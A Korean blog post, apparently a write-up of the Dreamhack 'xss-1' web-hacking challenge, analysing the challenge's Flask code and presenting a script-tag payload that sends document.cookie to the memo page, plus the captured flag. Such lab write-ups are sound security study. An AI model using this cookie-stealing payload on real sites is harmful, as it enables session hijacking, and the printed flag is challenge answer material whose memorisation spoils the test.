壓倒
Ye0L
壓倒
Total
Home
Today
  • ByO (59)
    • 악성코드분석🍳 (10)
      • Android (2)
      • Windows (8)
    • 백준⌨ (1)
    • 개발💻 (14)
      • Python (14)
      • C (0)
    • AI (2)
      • ML (2)
      • DL (0)
    • Dreamhack (23)
      • Web hacking (20)
      • Reversing (3)
    • CTF (5)
      • Forensic (5)
    • Study (4)
      • Linux (2)
      • Web (2)

블로그 메뉴

  • 홈
  • 방명록
  • 깃허브😀
  • 티스토리 홈

공지사항

인기 글

태그

  • PYTHON
  • web hacking
  • Background:Web Browser
  • CSRF
  • APK 구조
  • Raccoon Stealer
  • ClientSide: XSS
  • selenium
  • File Download Vulnerability
  • [DigitalForensic]with CTF
  • dreamhack
  • Crawling
  • reversing
  • Background: Cookie & Session
  • 리버싱
  • 크롤링
  • 악성코드분석
  • Raccoon Stealer v2
  • forensic
  • 드림핵

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
壓倒

Ye0L

Dreamhack/Web hacking

xss-1 Write-Up💻

2023. 1. 18. 23:39

문제


xss-1(출처 : dreamhack)

Write-Up


해당 문제는 주어지는 app.py 파일을 분석한 후 주어진 URL 에서 XSS 취약점을 발생시켜 Flag를 획득하는 유형이다.

우선, app.py를 먼저 분석해보자

가장 처음 확인가능한 코드는 memo() 이다. memo() 는 request.args.get() 을 통해 특정 값을 입력받아 render_template()을 활용하여 리턴하기 때문에 XSS 취약점이 발생하지 않는다.

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

다음으로 flag() 를 살펴보자

메소드 유형이 GET일 경우 flag.html을 렌더링하고 POST 요청일 경우 입력받은 param을 check_xss() 함수가 포함된 분기문을 실행한다. 만약 check_xss() 함수를 통해 XSS 취약점이 정상적으로 발생한 경우 good 이라는 문자열을 창에 띄운다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

다음으로 check_xss()를 살펴보면 입력받은 param 값을 param= 값에 추가하여 read_url() 함수로 전달한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

read_url() 함수는 구체적으로 설명하지 않지만 인자로 입력받은 URL 을 실행하고 XSS 스크립트가 포함되어 있을 경우 해당 스크립트 또한 실행하게 된다.

즉, 위 코드를 통해 XSS 취약점이 일어나는 과정은 다음과 같다.

❓
XSS 취약점 발생 과정 1. flag 사이트에서 memo 페이지로 쿠키 값을 표시하기 위한 XSS 스크립트를 인자로 하여 입력한다. 2. check_xss() 및 read_url() 함수를 통해 XSS 스크립트가 포함된 URL로 연결한다. 3. memo 페이지에서는 입력받은 값을 사이트에 출력하기 때문에 쿠키 값이 memo 페이지에 보이게 된다.

위의 과정대로 수행하기 위해 flag 페이지에서 다음과 같은 XSS 스크립트를 입력 후 memo 페이지로 가면 Flag를 획득할 수 있다.

<script>location.href = "/memo?memo=" + document.cookie;</script>
Flag

Flag


DH{2c01577e9542ec24d68ba0ffb846508e}

오류, 잘못된 점 또는 궁금한 점이 있으시다면 댓글 남겨주세요❗


Uploaded by N2T

'Dreamhack > Web hacking' 카테고리의 다른 글

ClientSide:CSRF  (0) 2023.01.20
xss-2 Write-Up💻  (0) 2023.01.20
ClientSide: XSS 🧑🏻‍💻  (0) 2023.01.18
[Web hacking] Mitigation: Same Origin Policy  (0) 2023.01.18
session-basic Write-Up  (0) 2023.01.17
    'Dreamhack/Web hacking' 카테고리의 다른 글
    • ClientSide:CSRF
    • xss-2 Write-Up💻
    • ClientSide: XSS 🧑🏻‍💻
    • [Web hacking] Mitigation: Same Origin Policy
    壓倒
    壓倒
    악성코드 분석, 개발, 백준 등 나의 일지

    티스토리툴바